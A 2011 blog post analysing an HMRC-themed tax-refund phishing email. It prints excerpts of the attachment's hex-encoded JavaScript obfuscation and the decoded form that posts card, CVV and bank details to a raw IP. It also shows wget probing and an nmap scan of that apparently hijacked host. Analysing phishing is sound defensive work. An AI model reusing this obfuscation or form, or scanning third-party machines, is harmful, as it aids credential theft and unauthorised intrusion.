Month: October 2011

I receive four or five of these sorts of phishing emails a week so I thought I’d take a quick look at one and see how it’s put together.

Firstly a poorly constructed message from my- or more often someone else’s bank/tax office. Note capitalisation, lack of whitespace after fullstop in the first sentence, no currency denomination (e.g. £) for the amount but a realistic sum of money, definitely not $10,000,000 from the office of former attorney general Utoula of Lagos. Also note the threat of a deadline, even though none is stated.

Dear Applicant:

we have reviewed your tax return and our calculations of your last years accounts a tax refund of 178.25 is due.Please submit the tax refund request and allow us 3-6 days in order to process it.

A refund can be delayed for a variety of reasons.
For example submitting invalid records or applying after the deadline.

Submit the form attached to your email in order to verify your card.

with an attachment: return_form.html . Who sends a plain text email with an attached HTML file? Nobody except scammers, that’s who. Saving out return_form.html (without the .html extension, for safety) and having a look I found this at the top:

<script type="text/javascript" language="JavaScript">// < ![CDATA[
// Copyright © 2005 Voormedia - WWW.VOORMEDIA.COM
var i,y,x="3c21444f43545950452048544d4c205055424c494320222d2f2f5733432f2f44544420485
44d4c20342e3031205472616e736974696f6e616c2f2f454e222022687474703a2f2f7777772e77332e6
f72672f54522f68746d6c342f6c6f6f73652e647464223e0d0a3c68746d6c206c616e673d22656e223e3
c212d2d20496e7374616e6365426567696e2074656d706c6174653d22687474703a2f2f7777772e686d7
2632e676f762e756b2f54656d706c617465732f5765622d436f6e76657267656e6365312e64777422206
36f64654f75747369646548544d4c49734c6f636b65643d2266616c736522202d2d3e0d0a3c686561643
e0d0a3c212d2d20496e7374616e6365426567696e4564697461626c65206e616d653d224d65746164617
46122202d2d3e0d0a3c6d65746120687474702d65717569763d22436f6e74656e742d547970652220636
f6e74656e743d22746578742f68746d6c3b20636861727365743d7574662d38223e20202020202020202
00d0a3c6d65746120687474702d65717569763d22706963732d6c6162656c2220636f6e74656e743d272
8706963732d312e312022687474703a2f2f7777772e696372612e6f72672f726174696e67737630322e6
8746d6c22206c2067656e207472756520666f722022687474703a2f2f7777772e686d72632e676f762e7
56b22207220286e7a203120767a2031206c7a2031206f7a203120637a2031292067656e2074727565206

and this at the bottom:

703a2f2f7777772e686d72632e676f762e756b2f696d616765732f626c616e6b2e6769662220616c
743d22446972656374476f762220636c6173733d22646972656374676f765f6c6f676f2220746974
6c653d22446972656374476f76223e3c2f613e3c2f6c693e0d0a2020202020203c2f756c3e0d0a20
202020202020203c2f6469763e0d0a09093c212d2d20626567696e5f6578636c7564652d2d3e3c73
637269707420747970653d22746578742f6a61766173637269707422207372633d22687474703a2f
2f7777772e686d72632e676f762e756b2f50726f70686574496e736572742e6a73223e3c2f736372
6970743e3c212d2d20656e645f6578636c7564652d2d3e0d0a3c2f6469763e0d0a0d0a3c2f626f64
793e0d0a3c212d2d20496e7374616e6365456e64202d2d3e3c2f68746d6c3e0d0a0d0a";y='';
for(i=0;i < x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);
// ]]>

(I’ve cut out the middle section because it’s long and I’m only interested in the techniques.)

So this is an obfuscated html page, entirely URL-encoded and embedded in a javascript string with a little bit of decoding tacked on the end. This is simple, but quite neat. Not a technique I’ve ever used to do anything “production” with. I cut the string out, saved it to a file and decoded it on the command line using CGI.pm.

perl -MCGI -e '$str= <>;for (my $i=0;$i < length $str;$i+=2){
  print CGI::unescape(sprintf q[%%%s], substr $str, $i,2)
}' < return_form.data > return_form.decoded

The decoded page contains an HTML form requesting name, email address, physical address, card number, mother’s maiden name, phone number, national insurance number and bank account details where refund payment is to be made, including CVV. It posts all that delicious data over to … woah hold on, that’s not the HMRC is it?

<td><form name="processForm" method="post" action="http://188.219.154.228/id561sua/javascript.php" OnSubmit="return go_step2();">
</form></td>

So who is it?

host 188.219.154.228
228.154.219.188.in-addr.arpa domain name pointer net-188-219-154-228.cust.dsl.vodafone.it.

An Italian Vodafone DSL customer, probably a hacked home PC, most likely part of a botnet infected by a virus of some sort.

Let’s try poking the service:

wget -O- http://188.219.154.228/id561sua/javascript.php
--2011-10-25 13:40:49-- http://188.219.154.228/id561sua/javascript.php
Connecting to 188.219.154.228:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.hmrc.gov.uk [following]

ok, that was a GET request and the script expects a POST, but it still bounces us straight out to hrmc.gov.uk, presumably logging whatever data was sent back in a database or IRC channel somewhere whilst leaving the unsuspecting user none the wiser.

What about running services? Ok, let’s use nmap:

nmap -PN 188.219.154.228

Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-25 13:44 BST
Nmap scan report for net-188-219-154-228.cust.dsl.vodafone.it (188.219.154.228)
Host is up (0.10s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1027/tcp open IIS
1244/tcp open isbconference1
1433/tcp open ms-sql-s
1720/tcp filtered H.323/Q.931
3306/tcp open mysql
3389/tcp open ms-term-serv

Nmap done: 1 IP address (1 host up) scanned in 7.69 seconds

So it’s running a few bits and pieces, things you wouldn’t normally open up given the choice..

wget -O- -q http://188.219.154.228/ | grep -i title
<title>WAMPSERVER Homepage</title>

WAMP is a LAMP software stack built for Windows consisting of Apache, MySQL and PHP which explains some of the services this thing is running.

Here I paused and went back to look at the message headers.

Return-Path: < hmrc @return.co.uk>
< snip >
Received: from User ([204.15.97.91]) by smtp.direktora.ru with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 25 Oct 2011 15:54:42 +0400
From: "HMRC"< hmrc @return.co.uk>
Subject: ***SPAM*** We have reviewed your tax return
Date: Tue, 25 Oct 2011 07:54:42 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0100_01C2A9A6.3D97D7B2"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Message-ID: < maindclqgdyxsvvr0ws0000024a @smtp.direktora.ru>
X-OriginalArrivalTime: 25 Oct 2011 11:54:42.0679 (UTC) FILETIME=[E1F60870:01CC930C]
To: undisclosed-recipients:;

A few things to highlight here – firsly the return address is return.co.uk (probably fictitious) not hmrc.gov.uk, as doing so could generate a large number of bounced messages sent back to HMRC and alerting them that there’s a phisher out there. Not that they can really do anything about it beyond cyber-investigation, but always good to keep things on the QT.

Ignoring the fact that my MTA has flagged the subject as SPAM, the original SMTP server shows up as smtp.direktora.ru . Riiight, a UK Tax email sent through a mail server in Russia.

Back to the spam detection. The headers injected by my MTA look like this:

X-Virus-Scanned: Debian amavisd-new at psyphi.net
X-Spam-Flag: YES
X-Spam-Score: 6.105
X-Spam-Level: ******
X-Spam-Status: Yes, score=6.105 tagged_above=-9999 required=4.8
	tests=[BAYES_50=0.8, FORGED_MUA_OUTLOOK=1.927, FROM_MISSP_MSFT=1,
	MISSING_HEADERS=1.021, RCVD_IN_BL_SPAMCOP_NET=1.347,
	T_FROM_MISSPACED=0.01] autolearn=no

Good. Forged Mail User Agent, which isn’t something you might easily spot visually, and blacklisted in spamcop to boot.

Conclusions? Firstly don’t open attachments from untrusted sources. Duh, like I needed to tell you that. Secondly this is a UK-targetted scam, hosted on an Italian computer (probably) originating from Russia. This stuff is real…